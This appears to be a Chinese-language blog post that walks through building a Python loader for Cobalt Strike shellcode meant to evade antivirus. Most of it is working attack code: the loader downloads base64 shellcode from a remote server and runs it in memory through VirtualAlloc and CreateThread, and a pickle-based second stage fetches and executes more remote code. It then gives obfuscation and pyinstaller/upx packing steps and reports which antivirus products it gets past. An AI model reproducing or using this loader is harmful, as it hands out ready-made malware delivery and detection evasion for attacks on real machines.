CS生成c语言的payload,取其中的shellcode,base64加密后放入shellcode.txt,放入公网vps的web服务中

shellcode="\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00'

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://ip/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

上面代码复制后base64加密,放入loder.txt文件放入公网vps的web服务中

import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://ip/loader.txt').read()
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

上面代码改好vps的ip

pyminifier --nonlatin --replacement-length=10 shellcode.py

使用此命令进行混淆,更换代码,有没有这步都行,保险加上

使用以下打包过程,目的是尽量压缩pyinstaller的单文件大小,效果明显,10m->6.多m ,仍然够大,但已经努力缩小了

  • pip3 install pipenv //安装虚拟环境,为了压缩打包文件大小

  • 新建文件夹当做pipenv的目录,最好是根路径

  • pipenv install

  • pipenv shell

  • pip3 install 安装木马需要的模块和pyinstaller

  • 同目录放入upx.exe

  • pyinstaller -w -F --clean --key 8939usj8suxk2h3 -i ico.ico shellcode.py

  • --key选项加不加都行,看个人喜好

总结一下:

2021·3·09

过火绒+360全家桶

卡巴斯基免费版不行,静态可以,执行就杀,内存杀得东南西北都不认得了

python+pyinstaller+upx+远程+混淆+无参,没有沙箱检测的代码,总感觉无参的可能存活时间不长,容易被360云沙箱标记,就看6m的大小360会不会自动上传吧

shell

参考链接:https://blog.csdn.net/qq_40989258/article/details/113460218